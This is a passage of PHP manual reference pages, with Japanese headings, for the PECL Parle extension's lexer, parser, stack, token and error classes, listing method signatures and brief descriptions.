public Parle\Lexer::reset ( int $pos ) : void

Reset lexing optionally supplying the desired offset.

パラメータ

pos

Reset position.

返り値

値を返しません。

User Contributed Notes

There are no user contributed notes for this page.


The Parle\RLexer class

(PECL parle >= 0.5.1)

はじめに

Multistate lexer class. Lexemes can be defined on the fly. If the particular lexer instance is meant to be used with Parle\RParser, the token IDs need to be taken from there. Otherwise, arbitrary token IDs can be supplied. Note, that Parle\Parser is not compatible with this lexer.

クラス概要

Parle\RLexer {
/* Constants */
const int ICASE = 1 ;
const int DOT_NOT_LF = 2 ;
const int DOT_NOT_CRLF = 4 ;
const int SKIP_WS = 8 ;
const int MATCH_ZERO_LEN = 16 ;
/* プロパティ */
public bool $bol = false ;
public int $flags = 0 ;
public int $state = 0 ;
public int $marker = 0 ;
public int $cursor = 0 ;
/* メソッド */
public advance ( ) : void
public build ( ) : void
public callout ( int $id , callable $callback ) : void
public consume ( string $data ) : void
public dump ( ) : void
public getToken ( ) : Parle\Token
public insertMacro ( string $name , string $regex ) : void
public push ( string $regex , int $id ) : void
public push ( string $state , string $regex , int $id , string $newState ) : void
public push ( string $state , string $regex , string $newState ) : void
public pushState ( string $state ) : int
public reset ( int $pos ) : void
}

定義済み定数

Parle\RLexer::ICASE

Parle\RLexer::DOT_NOT_LF

Parle\RLexer::DOT_NOT_CRLF

Parle\RLexer::SKIP_WS

Parle\RLexer::MATCH_ZERO_LEN

プロパティ

bol

Start of input flag.

flags

Lexer flags.

state

Current lexer state, readonly.

marker

Position of the latest token match, readonly.

cursor

Current input offset, readonly.

目次

  • Parle\RLexer::advance — Process next lexer rule
  • Parle\RLexer::build — Finalize the lexer rule set
  • Parle\RLexer::callout — Define token callback
  • Parle\RLexer::consume — Pass the data for processing
  • Parle\RLexer::dump — Dump the state machine
  • Parle\RLexer::getToken — Retrieve the current token
  • Parle\RLexer::insertMacro — Insert regex macro
  • Parle\RLexer::push — Add a lexer rule
  • Parle\RLexer::pushState — Push a new start state
  • Parle\RLexer::reset — Reset lexer

User Contributed Notes

There are no user contributed notes for this page.


Process next lexer rule

  • ≪ Parle\RLexer
  • Parle\RLexer::build ≫
  • PHP Manual
  • Parle\RLexer
  • Process next lexer rule

Parle\RLexer::advance

(PECL parle >= 0.5.1)

Parle\RLexer::advance — Process next lexer rule

説明

public Parle\RLexer::advance ( ) : void

Processes the next rule and prepares the resulting token data.

パラメータ

この関数にはパラメータはありません。

返り値

値を返しません。

User Contributed Notes

There are no user contributed notes for this page.


Finalize the lexer rule set

  • ≪ Parle\RLexer::advance
  • Parle\RLexer::callout ≫
  • PHP Manual
  • Parle\RLexer
  • Finalize the lexer rule set

Parle\RLexer::build

(PECL parle >= 0.5.1)

Parle\RLexer::build — Finalize the lexer rule set

説明

public Parle\RLexer::build ( ) : void

Rules, previously added with Parle\RLexer::push() are finalized. This method call has to be done after all the necessary rules was pushed. The rule set becomes read only. The lexing can begin.

パラメータ

この関数にはパラメータはありません。

返り値

値を返しません。

User Contributed Notes

There are no user contributed notes for this page.


Define token callback

  • ≪ Parle\RLexer::build
  • Parle\RLexer::consume ≫
  • PHP Manual
  • Parle\RLexer
  • Define token callback

Parle\RLexer::callout

(PECL parle >= 0.7.2)

Parle\RLexer::callout — Define token callback

説明

public Parle\RLexer::callout ( int $id , callable $callback ) : void

Define a callback to be invoked once lexer encounters a particular token.

パラメータ

id

Token id.

callback

Callable to be invoked. The callable doesn't receive any arguments and its return value is ignored.

返り値

値を返しません。

User Contributed Notes

There are no user contributed notes for this page.


Pass the data for processing

  • ≪ Parle\RLexer::callout
  • Parle\RLexer::dump ≫
  • PHP Manual
  • Parle\RLexer
  • Pass the data for processing

Parle\RLexer::consume

(PECL parle >= 0.5.1)

Parle\RLexer::consume — Pass the data for processing

説明

public Parle\RLexer::consume ( string $data ) : void

Consume the data for lexing.

パラメータ

data

Data to be lexed.

返り値

値を返しません。

User Contributed Notes

There are no user contributed notes for this page.


Dump the state machine

  • ≪ Parle\RLexer::consume
  • Parle\RLexer::getToken ≫
  • PHP Manual
  • Parle\RLexer
  • Dump the state machine

Parle\RLexer::dump

(PECL parle >= 0.5.1)

Parle\RLexer::dump — Dump the state machine

説明

public Parle\RLexer::dump ( ) : void

Dump the current state machine to stdout.

パラメータ

この関数にはパラメータはありません。

返り値

値を返しません。

User Contributed Notes

There are no user contributed notes for this page.


Retrieve the current token

  • ≪ Parle\RLexer::dump
  • Parle\RLexer::insertMacro ≫
  • PHP Manual
  • Parle\RLexer
  • Retrieve the current token

Parle\RLexer::getToken

(PECL parle >= 0.5.1)

Parle\RLexer::getToken — Retrieve the current token

説明

public Parle\RLexer::getToken ( ) : Parle\Token

Retrive the current token.

パラメータ

この関数にはパラメータはありません。

返り値

Returns an instance of Parle\Token.

User Contributed Notes

There are no user contributed notes for this page.


Insert regex macro

  • ≪ Parle\RLexer::getToken
  • Parle\RLexer::push ≫
  • PHP Manual
  • Parle\RLexer
  • Insert regex macro

Parle\RLexer::insertMacro

(PECL parle >= 0.5.1)

Parle\RLexer::insertMacro — Insert regex macro

説明

public Parle\RLexer::insertMacro ( string $name , string $regex ) : void

Insert a regex macro, that can be later used as a shortcut and included in other regular expressions.

パラメータ

name

Name of the macros.

regex

Regular expression.

返り値

値を返しません。

User Contributed Notes

There are no user contributed notes for this page.


Add a lexer rule

  • ≪ Parle\RLexer::insertMacro
  • Parle\RLexer::pushState ≫
  • PHP Manual
  • Parle\RLexer
  • Add a lexer rule

Parle\RLexer::push

(PECL parle >= 0.5.1)

Parle\RLexer::push — Add a lexer rule

説明

public Parle\RLexer::push ( string $regex , int $id ) : void
public Parle\RLexer::push ( string $state , string $regex , int $id , string $newState ) : void
public Parle\RLexer::push ( string $state , string $regex , string $newState ) : void

Push a pattern for lexeme recognition.

A 'start state' and 'exit state' can be specified by using a suitable signature.

パラメータ

regex

Regular expression used for token matching.

id

Token id. If the lexer instance is meant to be used standalone, this can be an arbitrary number. If the lexer instance is going to be passed to the parser, it has to be an id returned by Parle\RParser::tokenid().

state

State name. If '*' is used as start state, then the rule is applied to all lexer states.

newState

New state name, after the rule was applied.

If '.' is specified as the exit state, then the lexer state is unchanged when that rule matches. An exit state with '>' before the name means push. Use the signature without id for either continuation or to start matching, when a continuation or recursion is required.

If '<' is specified as exit state, it means pop. In that case, the signature containing the id can be used to identify the match. Note that even in the case an id is specified, the rule will finish first when all the previous pushes popped.

返り値

値を返しません。

User Contributed Notes

There are no user contributed notes for this page.


Push a new start state

  • ≪ Parle\RLexer::push
  • Parle\RLexer::reset ≫
  • PHP Manual
  • Parle\RLexer
  • Push a new start state

Parle\RLexer::pushState

(PECL parle >= 0.5.1)

Parle\RLexer::pushState — Push a new start state

説明

public Parle\RLexer::pushState ( string $state ) : int

This lexer type can have more than one state machine. This allows you to lex different tokens depending on context, thus allowing simple parsing to take place. Once a state pushed, it can be used with a suitable Parle\RLexer::push() signature variant.

パラメータ

state

Name of the state.

返り値

User Contributed Notes

There are no user contributed notes for this page.


Reset lexer

  • ≪ Parle\RLexer::pushState
  • Parle\Parser ≫
  • PHP Manual
  • Parle\RLexer
  • Reset lexer

Parle\RLexer::reset

(PECL parle >= 0.7.1)

Parle\RLexer::reset — Reset lexer

説明

public Parle\RLexer::reset ( int $pos ) : void

Reset lexing optionally supplying the desired offset.

パラメータ

pos

Reset position.

返り値

値を返しません。

User Contributed Notes

There are no user contributed notes for this page.


The Parle\Parser class

(PECL parle >= 0.5.1)

はじめに

Parser class. Rules can be defined on the fly. Once finalized, a Parle\Lexer instance is required to deliver the token stream.

クラス概要

Parle\Parser {
/* Constants */
const int ACTION_ERROR = 0 ;
const int ACTION_SHIFT = 1 ;
const int ACTION_REDUCE = 2 ;
const int ACTION_GOTO = 3 ;
const int ACTION_ACCEPT = 4 ;
const int ERROR_SYNTAX = 0 ;
const int ERROR_NON_ASSOCIATIVE = 1 ;
const int ERROR_UNKNOWN_TOKEN = 2 ;
/* プロパティ */
public int $action = 0 ;
public int $reduceId = 0 ;
/* メソッド */
public advance ( ) : void
public build ( ) : void
public consume ( string $data , Parle\Lexer $lexer ) : void
public dump ( ) : void
public errorInfo ( ) : Parle\ErrorInfo
public left ( string $tok ) : void
public nonassoc ( string $tok ) : void
public precedence ( string $tok ) : void
public push ( string $name , string $rule ) : int
public reset ( int $tokenId = ? ) : void
public right ( string $tok ) : void
public sigil ( int $idx ) : string
public token ( string $tok ) : void
public tokenId ( string $tok ) : int
public trace ( ) : string
public validate ( string $data , Parle\Lexer $lexer ) : bool
}

定義済み定数

Parle\Parser::ACTION_ERROR

Parle\Parser::ACTION_SHIFT

Parle\Parser::ACTION_REDUCE

Parle\Parser::ACTION_GOTO

Parle\Parser::ACTION_ACCEPT

Parle\Parser::ERROR_SYNTAX

Parle\Parser::ERROR_NON_ASSOCIATIVE

Parle\Parser::ERROR_UNKNOWN_TOKEN

プロパティ

action

Current parser action that matches one of the action class constants, readonly.

reduceId

Grammar rule id just processed in the reduce action. The value corresponds either to a token or to a production id. Readonly.

目次

  • Parle\Parser::advance — Process next parser rule
  • Parle\Parser::build — Finalize the grammar rules
  • Parle\Parser::consume — Consume the data for processing
  • Parle\Parser::dump — Dump the grammar
  • Parle\Parser::errorInfo — Retrieve the error information
  • Parle\Parser::left — Declare a token with left-associativity
  • Parle\Parser::nonassoc — Declare a token with no associativity
  • Parle\Parser::precedence — Declare a precedence rule
  • Parle\Parser::push — Add a grammar rule
  • Parle\Parser::reset — Reset parser state
  • Parle\Parser::right — Declare a token with right-associativity
  • Parle\Parser::sigil — Retrieve a matching part of a rule
  • Parle\Parser::token — Declare a token
  • Parle\Parser::tokenId — Get token id
  • Parle\Parser::trace — Trace the parser operation
  • Parle\Parser::validate — Validate input

User Contributed Notes

There are no user contributed notes for this page.


Process next parser rule

  • ≪ Parle\Parser
  • Parle\Parser::build ≫
  • PHP Manual
  • Parle\Parser
  • Process next parser rule

Parle\Parser::advance

(PECL parle >= 0.5.1)

Parle\Parser::advance — Process next parser rule

説明

public Parle\Parser::advance ( ) : void

Process next parser rule.

パラメータ

この関数にはパラメータはありません。

返り値

値を返しません。

User Contributed Notes

There are no user contributed notes for this page.


Finalize the grammar rules

  • ≪ Parle\Parser::advance
  • Parle\Parser::consume ≫
  • PHP Manual
  • Parle\Parser
  • Finalize the grammar rules

Parle\Parser::build

(PECL parle >= 0.5.1)

Parle\Parser::build — Finalize the grammar rules

説明

public Parle\Parser::build ( ) : void

Any tokens and grammar rules previously added are finalized. The rule set becomes readonly and the parser is ready to start.

パラメータ

この関数にはパラメータはありません。

返り値

値を返しません。

User Contributed Notes

There are no user contributed notes for this page.


Consume the data for processing

  • ≪ Parle\Parser::build
  • Parle\Parser::dump ≫
  • PHP Manual
  • Parle\Parser
  • Consume the data for processing

Parle\Parser::consume

(PECL parle >= 0.5.1)

Parle\Parser::consume — Consume the data for processing

説明

public Parle\Parser::consume ( string $data , Parle\Lexer $lexer ) : void

Consume the data for parsing.

パラメータ

data

Data to be parsed.

lexer

A lexer object containing the lexing rules prepared for the particular grammar.

返り値

値を返しません。

User Contributed Notes

There are no user contributed notes for this page.


Dump the grammar

  • ≪ Parle\Parser::consume
  • Parle\Parser::errorInfo ≫
  • PHP Manual
  • Parle\Parser
  • Dump the grammar

Parle\Parser::dump

(PECL parle >= 0.5.1)

Parle\Parser::dump — Dump the grammar

説明

public Parle\Parser::dump ( ) : void

Dump the current grammar to stdout.

パラメータ

この関数にはパラメータはありません。

返り値

値を返しません。

User Contributed Notes

There are no user contributed notes for this page.


Retrieve the error information

  • ≪ Parle\Parser::dump
  • Parle\Parser::left ≫
  • PHP Manual
  • Parle\Parser
  • Retrieve the error information

Parle\Parser::errorInfo

(PECL parle >= 0.5.1)

Parle\Parser::errorInfo — Retrieve the error information

説明

public Parle\Parser::errorInfo ( ) : Parle\ErrorInfo

Retrieve the error information in case Parle\Parser::action() returned the error action.

パラメータ

この関数にはパラメータはありません。

返り値

Returns an instance of Parle\ErrorInfo.

User Contributed Notes

There are no user contributed notes for this page.


Declare a token with left-associativity

  • ≪ Parle\Parser::errorInfo
  • Parle\Parser::nonassoc ≫
  • PHP Manual
  • Parle\Parser
  • Declare a token with left-associativity

Parle\Parser::left

(PECL parle >= 0.5.1)

Parle\Parser::left — Declare a token with left-associativity

説明

public Parle\Parser::left ( string $tok ) : void

Declare a terminal with left associativity.

パラメータ

tok

Token name.

返り値

値を返しません。

User Contributed Notes

There are no user contributed notes for this page.


Declare a token with no associativity

  • ≪ Parle\Parser::left
  • Parle\Parser::precedence ≫
  • PHP Manual
  • Parle\Parser
  • Declare a token with no associativity

Parle\Parser::nonassoc

(PECL parle >= 0.5.1)

Parle\Parser::nonassoc — Declare a token with no associativity

説明

public Parle\Parser::nonassoc ( string $tok ) : void

Declare a terminal, that cannot appear more than once in the row.

パラメータ

tok

Token name.

返り値

値を返しません。

User Contributed Notes

There are no user contributed notes for this page.


Declare a precedence rule

  • ≪ Parle\Parser::nonassoc
  • Parle\Parser::push ≫
  • PHP Manual
  • Parle\Parser
  • Declare a precedence rule

Parle\Parser::precedence

(PECL parle >= 0.5.1)

Parle\Parser::precedence — Declare a precedence rule

説明

public Parle\Parser::precedence ( string $tok ) : void

Declares a precedence rule for a fictitious terminal symbol. This rule can be later used in the specific grammar rules.

パラメータ

tok

Token name.

返り値

値を返しません。

User Contributed Notes

There are no user contributed notes for this page.


Add a grammar rule

  • ≪ Parle\Parser::precedence
  • Parle\Parser::reset ≫
  • PHP Manual
  • Parle\Parser
  • Add a grammar rule

Parle\Parser::push

(PECL parle >= 0.5.1)

Parle\Parser::push — Add a grammar rule

説明

public Parle\Parser::push ( string $name , string $rule ) : int

Push a grammar rule. The production id returned can be used later in the parsing process to identify the rule matched.

パラメータ

name

Rule name.

rule

The rule to be added. The syntax is Bison compatible.

返り値

Returns int representing the rule index.

User Contributed Notes

There are no user contributed notes for this page.


Reset parser state

  • ≪ Parle\Parser::push
  • Parle\Parser::right ≫
  • PHP Manual
  • Parle\Parser
  • Reset parser state

Parle\Parser::reset

(PECL parle >= 0.7.1)

Parle\Parser::reset — Reset parser state

説明

public Parle\Parser::reset ( int $tokenId = ? ) : void

Reset parser state using the given token id.

パラメータ

tokenId

Token id.

返り値

値を返しません。

User Contributed Notes

There are no user contributed notes for this page.


Declare a token with right-associativity

  • ≪ Parle\Parser::reset
  • Parle\Parser::sigil ≫
  • PHP Manual
  • Parle\Parser
  • Declare a token with right-associativity

Parle\Parser::right

(PECL parle >= 0.5.1)

Parle\Parser::right — Declare a token with right-associativity

説明

public Parle\Parser::right ( string $tok ) : void

Declare a terminal with right associativity.

パラメータ

tok

Token name.

返り値

値を返しません。

User Contributed Notes

There are no user contributed notes for this page.


Retrieve a matching part of a rule

  • ≪ Parle\Parser::right
  • Parle\Parser::token ≫
  • PHP Manual
  • Parle\Parser
  • Retrieve a matching part of a rule

Parle\Parser::sigil

(PECL parle >= 0.5.1)

Parle\Parser::sigil — Retrieve a matching part of a rule

説明

public Parle\Parser::sigil ( int $idx ) : string

Retrieve a part of the match by a rule. This method is equivalent to the pseudo variable functionality in Bison.

パラメータ

idx

Match index, zero based.

返り値

Returns a string with the matched part.

User Contributed Notes

There are no user contributed notes for this page.


Declare a token

  • ≪ Parle\Parser::sigil
  • Parle\Parser::tokenId ≫
  • PHP Manual
  • Parle\Parser
  • Declare a token

Parle\Parser::token

(PECL parle >= 0.5.1)

Parle\Parser::token — Declare a token

説明

public Parle\Parser::token ( string $tok ) : void

Declare a terminal to be used in the grammar.

パラメータ

tok

Token name.

返り値

値を返しません。

User Contributed Notes

There are no user contributed notes for this page.


Get token id

  • ≪ Parle\Parser::token
  • Parle\Parser::trace ≫
  • PHP Manual
  • Parle\Parser
  • Get token id

Parle\Parser::tokenId

(PECL parle >= 0.5.1)

Parle\Parser::tokenId — Get token id

説明

public Parle\Parser::tokenId ( string $tok ) : int

Retrieve the id of the named token.

パラメータ

tok

Name of the token as used in Parle\Parser::token().

返り値

Returns int representing the token id.

User Contributed Notes

There are no user contributed notes for this page.


Trace the parser operation

  • ≪ Parle\Parser::tokenId
  • Parle\Parser::validate ≫
  • PHP Manual
  • Parle\Parser
  • Trace the parser operation

Parle\Parser::trace

(PECL parle >= 0.5.1)

Parle\Parser::trace — Trace the parser operation

説明

public Parle\Parser::trace ( ) : string

Retrieve the current parser operation description. This can be especially useful for studying the parser and to optimize the grammar.

パラメータ

この関数にはパラメータはありません。

返り値

Returns a string with the trace information.

User Contributed Notes

There are no user contributed notes for this page.


Validate input

  • ≪ Parle\Parser::trace
  • Parle\RParser ≫
  • PHP Manual
  • Parle\Parser
  • Validate input

Parle\Parser::validate

(PECL parle >= 0.5.1)

Parle\Parser::validate — Validate input

説明

public Parle\Parser::validate ( string $data , Parle\Lexer $lexer ) : bool

Validate an input string. The string is parsed internally, thus this method is useful for the quick input validation.

パラメータ

data

String to be validated.

lexer

A lexer object containing the lexing rules prepared for the particular grammar.

返り値

Returns bool witnessing whether the input chimes or not with the defined rules.

User Contributed Notes

There are no user contributed notes for this page.


The Parle\RParser class

(PECL parle >= 0.7.0)

はじめに

Parser class. Rules can be defined on the fly. Once finalized, a Parle\RLexer instance is required to deliver the token stream.

クラス概要

Parle\RParser {
/* Constants */
const int ACTION_ERROR = 0 ;
const int ACTION_SHIFT = 1 ;
const int ACTION_REDUCE = 2 ;
const int ACTION_GOTO = 3 ;
const int ACTION_ACCEPT = 4 ;
const int ERROR_SYNTAX = 0 ;
const int ERROR_NON_ASSOCIATIVE = 1 ;
const int ERROR_UNKNOWN_TOKEN = 2 ;
/* プロパティ */
public int $action = 0 ;
public int $reduceId = 0 ;
/* メソッド */
public advance ( ) : void
public build ( ) : void
public consume ( string $data , Parle\RLexer $rlexer ) : void
public dump ( ) : void
public errorInfo ( ) : Parle\ErrorInfo
public left ( string $tok ) : void
public nonassoc ( string $tok ) : void
public precedence ( string $tok ) : void
public push ( string $name , string $rule ) : int
public reset ( int $tokenId = ? ) : void
public right ( string $tok ) : void
public sigil ( int $idx = ? ) : string
public token ( string $tok ) : void
public tokenId ( string $tok ) : int
public trace ( ) : string
public validate ( string $data , Parle\RLexer $lexer ) : bool
}

定義済み定数

Parle\RParser::ACTION_ERROR

Parle\RParser::ACTION_SHIFT

Parle\RParser::ACTION_REDUCE

Parle\RParser::ACTION_GOTO

Parle\RParser::ACTION_ACCEPT

Parle\RParser::ERROR_SYNTAX

Parle\RParser::ERROR_NON_ASSOCIATIVE

Parle\RParser::ERROR_UNKNOWN_TOKEN

プロパティ

action

Current parser action that matches one of the action class constants, readonly.

reduceId

Grammar rule id just processed in the reduce action. The value corresponds either to a token or to a production id. Readonly.

目次

  • Parle\RParser::advance — Process next parser rule
  • Parle\RParser::build — Finalize the grammar rules
  • Parle\RParser::consume — Consume the data for processing
  • Parle\RParser::dump — Dump the grammar
  • Parle\RParser::errorInfo — Retrieve the error information
  • Parle\RParser::left — Declare a token with left-associativity
  • Parle\RParser::nonassoc — Declare a token with no associativity
  • Parle\RParser::precedence — Declare a precedence rule
  • Parle\RParser::push — Add a grammar rule
  • Parle\RParser::reset — Reset parser state
  • Parle\RParser::right — Declare a token with right-associativity
  • Parle\RParser::sigil — Retrieve a matching part of a rule
  • Parle\RParser::token — Declare a token
  • Parle\RParser::tokenId — Get token id
  • Parle\RParser::trace — Trace the parser operation
  • Parle\RParser::validate — Validate input

User Contributed Notes

There are no user contributed notes for this page.


Process next parser rule

  • ≪ Parle\RParser
  • Parle\RParser::build ≫
  • PHP Manual
  • Parle\RParser
  • Process next parser rule

Parle\RParser::advance

(PECL parle >= 0.7.0)

Parle\RParser::advance — Process next parser rule

説明

public Parle\RParser::advance ( ) : void

Prosess next parser rule.

パラメータ

この関数にはパラメータはありません。

返り値

値を返しません。

User Contributed Notes

There are no user contributed notes for this page.


Finalize the grammar rules

  • ≪ Parle\RParser::advance
  • Parle\RParser::consume ≫
  • PHP Manual
  • Parle\RParser
  • Finalize the grammar rules

Parle\RParser::build

(PECL parle >= 0.7.0)

Parle\RParser::build — Finalize the grammar rules

説明

public Parle\RParser::build ( ) : void

Any tokens and grammar rules previously added are finalized. The rule set becomes readonly and the parser is ready to start.

パラメータ

この関数にはパラメータはありません。

返り値

値を返しません。

User Contributed Notes

There are no user contributed notes for this page.


Consume the data for processing

  • ≪ Parle\RParser::build
  • Parle\RParser::dump ≫
  • PHP Manual
  • Parle\RParser
  • Consume the data for processing

Parle\RParser::consume

(PECL parle >= 0.7.0)

Parle\RParser::consume — Consume the data for processing

説明

public Parle\RParser::consume ( string $data , Parle\RLexer $rlexer ) : void

Consume the data for parsing.

パラメータ

data

Data to be parsed.

lexer

A lexer object containing the lexing rules prepared for the particular grammar.

返り値

値を返しません。

User Contributed Notes

There are no user contributed notes for this page.


Dump the grammar

  • ≪ Parle\RParser::consume
  • Parle\RParser::errorInfo ≫
  • PHP Manual
  • Parle\RParser
  • Dump the grammar

Parle\RParser::dump

(PECL parle >= 0.7.0)

Parle\RParser::dump — Dump the grammar

説明

public Parle\RParser::dump ( ) : void

Dump the current grammar to stdout.

パラメータ

この関数にはパラメータはありません。

返り値

値を返しません。

User Contributed Notes

There are no user contributed notes for this page.


Retrieve the error information

  • ≪ Parle\RParser::dump
  • Parle\RParser::left ≫
  • PHP Manual
  • Parle\RParser
  • Retrieve the error information

Parle\RParser::errorInfo

(PECL parle >= 0.7.0)

Parle\RParser::errorInfo — Retrieve the error information

説明

public Parle\RParser::errorInfo ( ) : Parle\ErrorInfo

Retrieve the error information in case Parle\RParser::action() returned the error action.

パラメータ

この関数にはパラメータはありません。

返り値

Returns an instance of Parle\ErrorInfo.

User Contributed Notes

There are no user contributed notes for this page.


Declare a token with left-associativity

  • ≪ Parle\RParser::errorInfo
  • Parle\RParser::nonassoc ≫
  • PHP Manual
  • Parle\RParser
  • Declare a token with left-associativity

Parle\RParser::left

(PECL parle >= 0.7.0)

Parle\RParser::left — Declare a token with left-associativity

説明

public Parle\RParser::left ( string $tok ) : void

Declare a terminal with left associativity.

パラメータ

tok

Token name.

返り値

値を返しません。

User Contributed Notes

There are no user contributed notes for this page.


Declare a token with no associativity

  • ≪ Parle\RParser::left
  • Parle\RParser::precedence ≫
  • PHP Manual
  • Parle\RParser
  • Declare a token with no associativity

Parle\RParser::nonassoc

(PECL parle >= 0.7.0)

Parle\RParser::nonassoc — Declare a token with no associativity

説明

public Parle\RParser::nonassoc ( string $tok ) : void

Declare a terminal, that cannot appear more than once in the row.

パラメータ

tok

Token name.

返り値

値を返しません。

User Contributed Notes

There are no user contributed notes for this page.


Declare a precedence rule

  • ≪ Parle\RParser::nonassoc
  • Parle\RParser::push ≫
  • PHP Manual
  • Parle\RParser
  • Declare a precedence rule

Parle\RParser::precedence

(PECL parle >= 0.7.0)

Parle\RParser::precedence — Declare a precedence rule

説明

public Parle\RParser::precedence ( string $tok ) : void

Declares a precedence rule for a fictious terminal symbol. This rule can be later used in the specific grammar rules.

パラメータ

tok

Token name.

返り値

値を返しません。

User Contributed Notes

There are no user contributed notes for this page.


Add a grammar rule

  • ≪ Parle\RParser::precedence
  • Parle\RParser::reset ≫
  • PHP Manual
  • Parle\RParser
  • Add a grammar rule

Parle\RParser::push

(PECL parle >= 0.7.0)

Parle\RParser::push — Add a grammar rule

説明

public Parle\RParser::push ( string $name , string $rule ) : int

Push a grammar rule. The production id returned can be used later in the parsing process to identify the rule matched.

パラメータ

name

Rule name.

rule

The rule to be added. The syntax is Bison compatible.

返り値

Returns int representing the rule index.

User Contributed Notes

There are no user contributed notes for this page.


Reset parser state

  • ≪ Parle\RParser::push
  • Parle\RParser::right ≫
  • PHP Manual
  • Parle\RParser
  • Reset parser state

Parle\RParser::reset

(PECL parle >= 0.7.1)

Parle\RParser::reset — Reset parser state

説明

public Parle\RParser::reset ( int $tokenId = ? ) : void

Reset parser state using the given token id.

パラメータ

tokenId

Token id.

返り値

値を返しません。

User Contributed Notes

There are no user contributed notes for this page.


Declare a token with right-associativity

  • ≪ Parle\RParser::reset
  • Parle\RParser::sigil ≫
  • PHP Manual
  • Parle\RParser
  • Declare a token with right-associativity

Parle\RParser::right

(PECL parle >= 0.7.0)

Parle\RParser::right — Declare a token with right-associativity

説明

public Parle\RParser::right ( string $tok ) : void

Declare a terminal with right associativity.

パラメータ

tok

Token name.

返り値

値を返しません。

User Contributed Notes

There are no user contributed notes for this page.


Retrieve a matching part of a rule

  • ≪ Parle\RParser::right
  • Parle\RParser::token ≫
  • PHP Manual
  • Parle\RParser
  • Retrieve a matching part of a rule

Parle\RParser::sigil

(PECL parle >= 0.7.0)

Parle\RParser::sigil — Retrieve a matching part of a rule

説明

public Parle\RParser::sigil ( int $idx = ? ) : string

Retrieve a part of the match by a rule. This method is equivalent to the pseudo variable functionality in Bison.

パラメータ

idx

Match index, zero based.

返り値

Returns a string with the matched part.

User Contributed Notes

There are no user contributed notes for this page.


Declare a token

  • ≪ Parle\RParser::sigil
  • Parle\RParser::tokenId ≫
  • PHP Manual
  • Parle\RParser
  • Declare a token

Parle\RParser::token

(PECL parle >= 0.7.0)

Parle\RParser::token — Declare a token

説明

public Parle\RParser::token ( string $tok ) : void

Declare a terminal to be used in the grammar.

パラメータ

tok

Token name.

返り値

値を返しません。

User Contributed Notes

There are no user contributed notes for this page.


Get token id

  • ≪ Parle\RParser::token
  • Parle\RParser::trace ≫
  • PHP Manual
  • Parle\RParser
  • Get token id

Parle\RParser::tokenId

(PECL parle >= 0.7.0)

Parle\RParser::tokenId — Get token id

説明

public Parle\RParser::tokenId ( string $tok ) : int

Retrieve the id of the named token.

パラメータ

tok

Name of the token as used in Parle\RParser::token().

返り値

Returns int representing the token id.

User Contributed Notes

There are no user contributed notes for this page.


Trace the parser operation

  • ≪ Parle\RParser::tokenId
  • Parle\RParser::validate ≫
  • PHP Manual
  • Parle\RParser
  • Trace the parser operation

Parle\RParser::trace

(PECL parle >= 0.7.0)

Parle\RParser::trace — Trace the parser operation

説明

public Parle\RParser::trace ( ) : string

Retrieve the current parser operation description. This can be especially useful to study the parser and to optimize the grammar.

パラメータ

この関数にはパラメータはありません。

返り値

Returns a string with the trace information.

User Contributed Notes

There are no user contributed notes for this page.


Validate input

  • ≪ Parle\RParser::trace
  • Parle\Stack ≫
  • PHP Manual
  • Parle\RParser
  • Validate input

Parle\RParser::validate

(PECL parle >= 0.7.0)

Parle\RParser::validate — Validate input

説明

public Parle\RParser::validate ( string $data , Parle\RLexer $lexer ) : bool

Validate an input string. The string is parsed internally, thus this method is useful for the quick input validation.

パラメータ

data

String to be validated.

lexer

A lexer object containing the lexing rules prepared for the particular grammar.

返り値

Returns bool whitnessing whether the input chimes or not with the defined rules.

User Contributed Notes

There are no user contributed notes for this page.


The Parle\Stack class

(PECL parle >= 0.7.0)

はじめに

Parle\Stack is a LIFO stack. The elements are inserted and removed only from one end.

クラス概要

Parle\Stack {
/* プロパティ */
public bool $empty = true ;
public int $size = 0 ;
public mixed $top ;
/* メソッド */
public pop ( ) : void
public push ( mixed $item ) : void
}

プロパティ

empty

Whether the stack is empty, readonly.

size

Stack size, readonly.

top

Element on the top of the stack.

目次

  • Parle\Stack::pop — Pop an item from the stack
  • Parle\Stack::push — Push an item into the stack

User Contributed Notes

There are no user contributed notes for this page.


Pop an item from the stack

  • ≪ Parle\Stack
  • Parle\Stack::push ≫
  • PHP Manual
  • Parle\Stack
  • Pop an item from the stack

Parle\Stack::pop

(PECL parle >= 0.5.1)

Parle\Stack::pop — Pop an item from the stack

説明

public Parle\Stack::pop ( ) : void

パラメータ

この関数にはパラメータはありません。

返り値

値を返しません。

User Contributed Notes

There are no user contributed notes for this page.


Push an item into the stack

  • ≪ Parle\Stack::pop
  • Parle\Token ≫
  • PHP Manual
  • Parle\Stack
  • Push an item into the stack

Parle\Stack::push

(PECL parle >= 0.5.1)

Parle\Stack::push — Push an item into the stack

説明

public Parle\Stack::push ( mixed $item ) : void

パラメータ

item

Variable to be pushed.

返り値

値を返しません。

User Contributed Notes

There are no user contributed notes for this page.


The Parle\Token class

(PECL parle >= 0.5.2)

はじめに

This class represents a token. Lexer returns instances of this class.

クラス概要

Parle\Token {
/* Constants */
const int EOI = 0 ;
const int UNKNOWN = -1 ;
const int SKIP = -2 ;
/* プロパティ */
public int $id ;
public string $value ;
/* メソッド */
}

プロパティ

id

Token id.

value

Token value.

定義済み定数

Parle\Token::EOI

End of input token id.

Parle\Token::UNKNOWN

Unknown token id.

Parle\Token::SKIP

Skip token id.

User Contributed Notes

There are no user contributed notes for this page.


The Parle\ErrorInfo class

(PECL parle >= 0.5.2)

はじめに

The class represents detailed error information as supplied by Parle\Parser::errorInfo()

クラス概要

Parle\ErrorInfo {
/* プロパティ */
public int $id ;
public int $position ;
public mixed $token ;
/* メソッド */
}

プロパティ

id

Error id.

position

Position in the input, where the error occurred.

token

If applicable - the Parle\Token related to the error, otherwise null.

User Contributed Notes

There are no user contributed notes for this page.


The Parle\LexerException class

(PECL parle >= 0.5.1)

はじめに

クラス概要

Parle\LexerException extends Exception implements Throwable {
/* 継承したプロパティ */
protected string $message ;
protected int $code ;
protected string $file ;
protected int $line ;
/* メソッド */
/* 継承したメソッド */
final public Exception::getMessage ( ) : string
final public Exception::getPrevious ( ) : Exception
final public Exception::getCode ( ) : mixed
final public Exception::getFile ( ) : string
final public Exception::getLine ( ) : int
final public Exception::getTrace ( ) : array
final public Exception::getTraceAsString ( ) : string
public Exception::__toString ( ) : string
final private Exception::__clone ( ) : void
}

User Contributed Notes

There are no user contributed notes for this page.


The Parle\ParserException class

(PECL parle >= 0.5.1)

はじめに

クラス概要

Parle\ParserException extends Exception implements Throwable {
/* 継承したプロパティ */
protected string $message ;
protected int $code ;
